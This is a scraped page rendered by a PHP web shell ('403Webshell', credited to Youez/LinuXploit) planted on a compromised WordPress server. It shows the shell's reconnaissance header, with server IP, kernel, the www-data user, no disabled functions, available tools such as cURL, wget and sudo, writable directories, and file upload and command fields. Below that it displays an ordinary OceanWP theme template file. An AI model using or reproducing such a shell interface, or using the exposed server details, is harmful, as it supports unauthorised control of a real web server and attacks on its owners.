403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.125
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/yme/wp-content/themes/oceanwp/partials/edd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/yme/wp-content/themes/oceanwp/partials/edd/shortcode-content-image.php
<div class="edd_download_image">
	<a href="<?php the_permalink(); ?>">
		<?php
		if ( function_exists( 'has_post_thumbnail' ) && has_post_thumbnail( get_the_ID() ) ) :
			?>
			<?php

			$img_width  = get_theme_mod( 'ocean_edd_archive_image_width', 450 );
			$img_height = get_theme_mod( 'ocean_edd_archive_image_height', 450 );

			// Images attr.
			$img_id  = get_post_thumbnail_id( get_the_ID(), 'full' );
			$img_url = wp_get_attachment_image_src( $img_id, 'full', true );

			if ( OCEAN_EXTRA_ACTIVE
				&& function_exists( 'ocean_extra_image_attributes' ) ) {
				$img_atts = ocean_extra_image_attributes( $img_url[1], $img_url[2], $img_width, $img_height );
			}

			if ( OCEAN_EXTRA_ACTIVE
			&& function_exists( 'ocean_extra_resize' )
			&& ! empty( $img_atts ) ) {
				?>

				<img src="<?php echo ocean_extra_resize( $img_url[0], $img_atts['width'], $img_atts['height'], $img_atts['crop'], true, $img_atts['upscale'] ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>" alt="<?php the_title_attribute(); ?>" width="<?php echo esc_attr( $img_width ); ?>" height="<?php echo esc_attr( $img_height ); ?>"<?php oceanwp_schema_markup( 'image' ); ?> />

				<?php
			} else {

				// Display post thumbnail.
				the_post_thumbnail( 'full' );

			}
			?>
			<?php
		else :
			echo '<img src="' . get_template_directory_uri() . '/assets/img/placeholder.png">'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		endif;
		?>
	</a>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit